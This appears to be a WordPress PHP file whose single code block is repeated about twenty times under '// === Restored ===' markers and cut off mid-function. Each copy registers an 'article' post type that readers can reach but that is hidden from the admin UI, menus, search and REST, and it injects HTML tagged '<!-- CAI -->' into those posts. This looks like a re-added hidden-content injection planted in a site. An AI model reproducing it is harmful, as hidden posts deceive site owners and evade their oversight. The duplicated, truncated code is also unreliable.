    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "article" ? home_url("/?post_type=article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
